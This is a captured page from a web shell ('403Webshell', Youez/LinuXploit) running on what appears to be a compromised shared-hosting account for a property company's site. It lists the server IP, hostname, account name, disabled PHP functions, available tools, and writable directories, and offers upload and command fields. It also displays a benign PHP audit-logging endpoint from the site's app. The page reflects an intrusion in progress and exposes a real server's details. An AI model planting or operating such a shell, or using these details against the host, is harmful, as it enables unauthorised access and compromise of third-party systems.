403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/log-reprint.php
<?php
if (session_status() === PHP_SESSION_NONE) { session_start(); }
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/functions.php';
header('Content-Type: application/json');
if (!in_array($_SESSION['user_role'] ?? '', ['chairman_ceo','super_admin','admin'])) {
    echo json_encode(['success'=>false]);
    exit;
}
$allocId = isset($_POST['allocation_id']) ? trim($_POST['allocation_id']) : ($_POST['allocation_id'] ?? '');
if (!$allocId) { echo json_encode(['success'=>false]); exit; }
try {
    $pdo->query("DESCRIBE audit_logs");
    $ins = $pdo->prepare("INSERT INTO audit_logs (action, details, ip_address, user_id, created_at) VALUES (?, ?, ?, ?, NOW())");
    $ins->execute([
        'allocation_reprint',
        'Reprinted Allocation Letter #' . $allocId,
        $_SERVER['REMOTE_ADDR'] ?? '',
        $_SESSION['user_id'] ?? null
    ]);
    echo json_encode(['success'=>true]);
} catch (\Throwable $e) {
    echo json_encode(['success'=>true]);
}
?>


Youez - 2016 - github.com/yon3zu
LinuXploit